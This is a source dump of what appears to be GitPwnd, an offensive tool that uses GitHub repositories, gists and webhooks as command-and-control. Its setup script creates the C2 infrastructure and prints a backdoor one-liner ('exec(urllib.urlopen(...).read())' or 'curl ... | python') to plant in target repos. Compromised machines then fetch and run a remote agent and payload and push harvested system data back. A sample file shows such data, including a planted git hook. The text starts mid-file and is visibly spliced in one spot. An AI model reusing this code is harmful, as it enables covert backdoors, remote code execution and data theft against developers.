intel_list] 61 | 62 | results[repo_name] = tmp 63 | 64 | return results 65 | 66 | @staticmethod 67 | def annotate_intel_dict(intel_dict): 68 | # Turns each "value" for a node from: {'attr_name' => ''} to 69 | # {'attr_name' => {'type' => '', 'value' => ''} } 70 | # where type := ['string' | 'json' | 'shell_command' | 'long_string'] 71 | # 'long_string' = a string that's multiple lines 72 | # 73 | results = {} 74 | for intel_name, intel_value in intel_dict.items(): 75 | intel_name = str(intel_name) 76 | 77 | if type(intel_value) is dict: 78 | if "stderr" in intel_value: 79 | results[intel_name] = {"type": "shell_command", 80 | "value": { 81 | "stderr": str(intel_value["stderr"]), 82 | "stdout": str(intel_value["stdout"]) 83 | }} 84 | else: 85 | results[intel_name] = { "type": "json", 86 | "value": json.dumps(intel_value, sort_keys=True, indent=4, separators=(',', ': '))} 87 | elif intel_value.count("\n") > 0: 88 | results[intel_name] = {"type": "long_string", 89 | "value": str(intel_value)} 90 | else: 91 | results[intel_name] = {"type": "string", 92 | "value": str(intel_value)} 93 | 94 | return results 95 | -------------------------------------------------------------------------------- /server/requirements.txt: -------------------------------------------------------------------------------- 1 | appnope==0.1.0 2 | backports.shutil-get-terminal-size==1.0.0 3 | click==6.6 4 | decorator==4.0.10 5 | Flask==1.0 6 | ipdb==0.10.1 7 | ipython==5.0.0 8 | ipython-genutils==0.1.0 9 | itsdangerous==0.24 10 | Jinja2>=2.10.1 11 | MarkupSafe==0.23 12 | pathlib2==2.1.0 13 | pexpect==4.2.0 14 | pickleshare==0.7.3 15 | prompt-toolkit==1.0.3 16 | ptyprocess==0.5.1 17 | Pygments==2.7.4 18 | simplegeneric==0.8.1 19 | six==1.10.0 20 | traitlets==4.2.2 21 | wcwidth==0.1.7 22 | Werkzeug==0.15.3 23 | gitpython 24 | Flask-BasicAuth 25 | pyyaml 26 | pyopenssl 27 | -------------------------------------------------------------------------------- /server/run_ipython.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | from IPython import start_ipython 4 | start_ipython() 5 | 6 | -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | from gitpwnd import app # defined in gitpwnd/__init__.py 2 | 3 | ################# 4 | # Server config # 5 | ################# 6 | 7 | app.secret_key = "blah-doesn't-matter" 8 | 9 | if __name__ == "__main__": 10 | # Note: that the '0.0.0.0' makes the server publicly accessible, be careful friend 11 | app.run(host='0.0.0.0', ssl_context='adhoc') 12 | -------------------------------------------------------------------------------- /server/server_creds.yml.template: -------------------------------------------------------------------------------- 1 | basic_auth_username: "gitpwnd" 2 | basic_auth_password: "$basic_auth_password" 3 | benign_repo_path: "$benign_repo_path" 4 | hook_secret: "$hook_secret" -------------------------------------------------------------------------------- /server/tests/sample_intel.json: -------------------------------------------------------------------------------- 1 | {"service_configs": {"syslog": {"stdout": "", "stderr": "cat: /etc/syslog.conf: No such file or directory\n"}, "chttp": {"stdout": "", "stderr": "cat: /etc/chttp.conf: No such file or directory\n"}, "httpd_opt": {"stdout": "", "stderr": "cat: /opt/lampp/etc/httpd.conf: No such file or directory\n"}, "inetd": {"stdout": "", "stderr": "cat: /etc/inetd.conf: No such file or directory\n"}, "httpd": {"stdout": "", "stderr": "cat: /etc/httpd/conf/httpd.conf: No such file or directory\n"}, "cupsd": {"stdout": "", "stderr": "cat: /etc/cups/cupsd.conf: No such file or directory\n"}, "lighthttpd": {"stdout": "", "stderr": "cat: /etc/lighttpd.conf: No such file or directory\n"}, "my": {"stdout": "", "stderr": "cat: /etc/my.conf: No such file or directory\n"}}, "ifconfig": {"stdout": "eth0 Link encap:Ethernet HWaddr 0A:DD:E0:B4:67:30 \n inet addr:172.31.23.37 Bcast:172.31.31.255 Mask:255.255.240.0\n inet6 addr: fe80::8dd:e0ff:feb4:6730/64 Scope:Link\n UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1\n RX packets:94613 errors:0 dropped:0 overruns:0 frame:0\n TX packets:95000 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1000 \n RX bytes:24677385 (23.5 MiB) TX bytes:6614665 (6.3 MiB)\n\nlo Link encap:Local Loopback \n inet addr:127.0.0.1 Mask:255.0.0.0\n inet6 addr: ::1/128 Scope:Host\n UP LOOPBACK RUNNING MTU:65536 Metric:1\n RX packets:26 errors:0 dropped:0 overruns:0 frame:0\n TX packets:26 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1 \n RX bytes:2747 (2.6 KiB) TX bytes:2747 (2.6 KiB)\n\n", "stderr": ""}, "mac_address": "0A:DD:E0:B4:67:30", "ps_services": {"stdout": "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.2 19628 2572 ? Ss Jul06 0:00 /sbin/init\nroot 2 0.0 0.0 0 0 ? S Jul06 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S Jul06 0:00 [ksoftirqd/0]\nroot 4 0.0 0.0 0 0 ? S Jul06 0:00 [kworker/0:0]\nroot 5 0.0 0.0 0 0 ? S< Jul06 0:00 [kworker/0:0H]\nroot 7 0.0 0.0 0 0 ? S Jul06 0:05 [rcu_sched]\nroot 8 0.0 0.0 0 0 ? S Jul06 0:00 [rcu_bh]\nroot 9 0.0 0.0 0 0 ? S Jul06 0:00 [migration/0]\nroot 10 0.0 0.0 0 0 ? S< Jul06 0:00 [lru-add-drain]\nroot 11 0.0 0.0 0 0 ? S Jul06 0:00 [cpuhp/0]\nroot 12 0.0 0.0 0 0 ? S Jul06 0:00 [kdevtmpfs]\nroot 13 0.0 0.0 0 0 ? S< Jul06 0:00 [netns]\nroot 16 0.0 0.0 0 0 ? S Jul06 0:00 [xenwatch]\nroot 17 0.0 0.0 0 0 ? S Jul06 0:03 [kworker/u30:2]\nroot 21 0.0 0.0 0 0 ? S Jul06 0:00 [xenbus]\nroot 139 0.0 0.0 0 0 ? S Jul06 0:00 [khungtaskd]\nroot 140 0.0 0.0 0 0 ? S Jul06 0:00 [oom_reaper]\nroot 141 0.0 0.0 0 0 ? S< Jul06 0:00 [writeback]\nroot 143 0.0 0.0 0 0 ? S Jul06 0:00 [kcompactd0]\nroot 144 0.0 0.0 0 0 ? SN Jul06 0:00 [ksmd]\nroot 145 0.0 0.0 0 0 ? SN Jul06 0:00 [khugepaged]\nroot 146 0.0 0.0 0 0 ? S< Jul06 0:00 [crypto]\nroot 147 0.0 0.0 0 0 ? S< Jul06 0:00 [kintegrityd]\nroot 148 0.0 0.0 0 0 ? S< Jul06 0:00 [bioset]\nroot 150 0.0 0.0 0 0 ? S< Jul06 0:00 [kblockd]\nroot 500 0.0 0.0 0 0 ? S< Jul06 0:00 [md]\nroot 627 0.0 0.0 0 0 ? S Jul06 0:00 [kswapd0]\nroot 628 0.0 0.0 0 0 ? S< Jul06 0:00 [vmstat]\nroot 724 0.0 0.0 0 0 ? S< Jul06 0:00 [kthrotld]\nroot 768 0.0 0.0 0 0 ? S< Jul06 0:00 [bioset]\njoedev 796 4.0 1.4 204364 14616 pts/0 S+ 21:52 0:00 python backdoor.py\njoedev 805 3.0 1.1 189088 11492 pts/0 S+ 21:52 0:00 python /home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample\njoedev 825 0.0 0.2 117204 2464 pts/0 R+ 21:52 0:00 ps aux\nroot 1401 0.0 0.0 0 0 ? S< Jul06 0:00 [ata_sff]\nroot 1414 0.0 0.0 0 0 ? S Jul06 0:00 [scsi_eh_0]\nroot 1415 0.0 0.0 0 0 ? S< Jul06 0:00 [scsi_tmf_0]\nroot 1418 0.0 0.0 0 0 ? S Jul06 0:00 [scsi_eh_1]\nroot 1431 0.0 0.0 0 0 ? S< Jul06 0:00 [scsi_tmf_1]\nroot 1490 0.0 0.0 0 0 ? S Jul06 0:02 [jbd2/xvda1-8]\nroot 1491 0.0 0.0 0 0 ? S< Jul06 0:00 [ext4-rsv-conver]\nroot 1532 0.0 0.2 11448 2740 ? Ss Jul06 0:00 /sbin/udevd -d\nroot 1655 0.0 0.2 11316 2148 ? S Jul06 0:00 /sbin/udevd -d\nroot 1780 0.0 0.0 0 0 ? S Jul06 0:45 [kworker/0:2]\nroot 1818 0.0 0.0 0 0 ? S< Jul06 0:00 [kworker/0:1H]\nroot 1841 0.0 0.0 0 0 ? S Jul06 0:00 [kauditd]\nroot 1856 0.0 0.0 109084 740 ? Ss Jul06 0:00 lvmetad\nroot 1865 0.0 0.0 27140 200 ? Ss Jul06 0:00 lvmpolld\nroot 1917 0.0 0.0 0 0 ? S< Jul06 0:00 [ipv6_addrconf]\nroot 2064 0.0 0.2 9356 2148 ? Ss Jul06 0:00 /sbin/dhclient -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0\nroot 2188 0.0 0.1 9356 1860 ? Ss Jul06 0:02 /sbin/dhclient -6 -nw -lf /var/lib/dhclient/dhclient6-eth0.leases -pf /var/run/dhclient6-eth0.pid eth0\nroot 2235 0.0 0.2 52948 2208 ? S//raw// 317 | # 318 | # Since we're only uploading one file and we want to make the URL as concise as possible, 319 | # it turns out we can actually trim off everything after /raw/ and it'll still give us what 320 | # we want. 321 | config["gist_raw_contents_url"] = config["gist_raw_contents_url"].split("/raw/")[0] + "/raw" 322 | 323 | print("[*] Private gist content at:") 324 | print("- %s" % config["gist_raw_contents_url"]) 325 | 326 | return config 327 | 328 | # Return the content that will placed in the private gist 329 | def get_bootstrap_content(config): 330 | bootstrap_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "bootstrap.py.template")) 331 | 332 | params = {"repo_clone_url": config["secondary_clone_url"], 333 | "benign_repo": config["benign_repo"], 334 | "github_c2_repo_name": config["github_c2_repo_name"]} 335 | 336 | with open(bootstrap_file, 'r') as f: 337 | templatized_bootstrap_file = string.Template(f.read()) 338 | 339 | return templatized_bootstrap_file.safe_substitute(params) 340 | 341 | # After all the setup has been done, get the one liner that should be placed in a repo 342 | def get_python_one_liner(gist_url): 343 | # Note that `exec` is required for multiline statements, eval seems to only do simple expressions 344 | # https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string 345 | return "import urllib; exec(urllib.urlopen('%s').read())" % gist_url 346 | 347 | def print_backdoor_instructions(config): 348 | gist_url = config["gist_raw_contents_url"] 349 | print(""" 350 | ###################### 351 | # Backdoor one-liner # 352 | ###################### 353 | 354 | [*] Insert the following into the target git repo you're backdooring: 355 | 356 | # Python 357 | %s 358 | 359 | You can also do something like: 360 | $ curl %s | python 361 | 362 | """ % (get_python_one_liner(gist_url), gist_url)) 363 | 364 | # Replace agent.py.template with customized info, copy to c2 repo, 365 | # git add, commit, and push it so that the bootstrap.py gist can install 366 | # it on compromised machines 367 | def copy_agent_to_c2_repo(config): 368 | agent_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "agent.py.template")) 369 | 370 | params = {"repo_clone_url": config["secondary_clone_url"], 371 | "remote_repo_name": "features", # we add the c2 repo as a remote 372 | "remote_repo_master_branch": "master"} 373 | 374 | _add_file_to_c2_repo(config, agent_file, params, "agent.py") 375 | 376 | def copy_payload_to_c2_repo(config): 377 | payload_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "payload.py.template")) 378 | params = {} 379 | _add_file_to_c2_repo(config, payload_file, params, "payload.py") 380 | 381 | 382 | def _add_file_to_c2_repo(config, template_file_path, params, dest_path_in_c2_repo): 383 | with open(template_file_path, 'r') as f: 384 | templatized_file = string.Template(f.read()) 385 | 386 | dest_file = os.path.join(config["benign_repo_path"], dest_path_in_c2_repo) 387 | 388 | with open(dest_file, "w") as f: 389 | f.write(templatized_file.safe_substitute(params)) 390 | 391 | # Add file to the c2 repo 392 | orig_dir = os.path.abspath(os.curdir) 393 | # cd into cloned git repo to do git munging there 394 | os.chdir(config["benign_repo_path"]) 395 | 396 | if "nothing to commit" not in str(subprocess.check_output("git status", shell=True)): 397 | # Add agent.py and push 398 | subprocess.check_output("git add %s" % dest_path_in_c2_repo, shell=True) 399 | subprocess.check_output("git commit -m 'Add %s'" % dest_path_in_c2_repo, shell=True) 400 | subprocess.check_output("git push --repo %s" % config["primary_clone_url"], shell=True) 401 | 402 | os.chdir(orig_dir) 403 | 404 | def create_c2_webhook(config): 405 | print("[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines ") 406 | 407 | g = Github(config["main_github_token"]) 408 | g_user = g.get_user() 409 | repo = g_user.get_repo(config["github_c2_repo_name"]) 410 | 411 | # this endpoint is defined in server/gitpwnd/controllers.py 412 | webhook_endpoint = config["attacker_server"] + "/api/repo/receive_branch" 413 | 414 | # We're using a self-signed cert, so we need to turn off TLS verification for now :( 415 | # See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook 416 | hook_secret = str(uuid.uuid4()) 417 | params = {"url": webhook_endpoint, "content_type": "json", "secret": hook_secret, "insecure_ssl": "1"} 418 | 419 | # PyGithub's create_hook doc: 420 | # http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook 421 | try: 422 | repo.create_hook("web", params, ["push"], True) 423 | except: 424 | print("[!] Web hook already exists") 425 | hook = repo.get_hooks()[0] 426 | if "secret" not in hook.config.keys(): 427 | print("[!] Adding a secret to the hook...") 428 | else: 429 | hook_secret = input("Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): ") 430 | new_hook_config = hook.config 431 | new_hook_config["secret"] = hook_secret 432 | hook.edit(name=hook.name, config=new_hook_config) 433 | finally: 434 | return hook_secret 435 | 436 | 437 | # Automatically generate a new password for the gitpwnd server 438 | # so we don't use a default one 439 | def customize_gitpwnd_server_config(config): 440 | print("[*] Generating a unique password for the gitpwnd server") 441 | server_creds_template_file = os.path.abspath(os.path.join(__file__, "..", "server", "server_creds.yml.template")) 442 | output_file = server_creds_template_file.replace(".template", "") 443 | 444 | with open(server_creds_template_file, 'r') as f: 445 | templatized_creds_file = string.Template(f.read()) 446 | 447 | params = {"basic_auth_password": str(uuid.uuid4()), 448 | "benign_repo_path": config["benign_repo_path"], 449 | "hook_secret": config["hook_secret"]} 450 | with open(output_file, 'w') as f: 451 | f.write(templatized_creds_file.safe_substitute(params)) 452 | 453 | def print_accept_c2_invitation_instructions(): 454 | print("""IMPORTANT: Check the email for the secondary user and "accept" 455 | the invitation to the newly created command and control repo. 456 | 457 | Without doing this, the bootstrapping process executed on compromised machines 458 | will fail. 459 | """) 460 | 461 | # The overall flow of the setup process 462 | def main(setup_dir, repo_dir, ssh_key_dir): 463 | print_intro() 464 | print(""" 465 | ---------------------------------- 466 | 467 | ###################################### 468 | # Beginning GitPwnd setup process... # 469 | ###################################### 470 | """) 471 | 472 | # Usage: python3 setup.py 473 | if len(sys.argv) > 1: 474 | config_path = sys.argv[1] 475 | else: 476 | print("[*] Using default config path of ./config.yml") 477 | config_path = "./config.yml" 478 | 479 | with open(config_path, 'r') as f: 480 | config = yaml.load(f) 481 | 482 | 483 | 484 | setup(setup_dir) 485 | config = create_c2_repo(repo_dir, config) 486 | config = get_secondary_account_access_token(config) 487 | config = generate_ssh_key_for_c2_repo(config) 488 | add_ssh_key_to_github_account(config["secondary_github_token"], config["ssh_key_path"]) 489 | 490 | add_collaborator(config["main_github_token"], config["github_c2_repo_name"], config["secondary_github_token"]) 491 | 492 | hook_secret = create_c2_webhook(config) 493 | config["hook_secret"] = hook_secret 494 | 495 | customize_gitpwnd_server_config(config) 496 | 497 | 498 | # the clone URL compromised machines will use 499 | config["secondary_clone_url"] = "https://%s@github.com/%s/%s.git" % (config["secondary_github_token"], 500 | config["main_github_username"], 501 | config["github_c2_repo_name"]) 502 | 503 | 504 | gist_content = get_bootstrap_content(config) 505 | 506 | config = create_private_gist(config, config["main_github_token"], 507 | "install.sh", gist_content, "Some description") 508 | 509 | copy_agent_to_c2_repo(config) 510 | 511 | copy_payload_to_c2_repo(config) 512 | 513 | print_backdoor_instructions(config) 514 | print_accept_c2_invitation_instructions() 515 | 516 | if __name__ == "__main__": 517 | main(SETUP_DIR, REPO_DIR, SSH_KEY_DIR) 518 | --------------------------------------------------------------------------------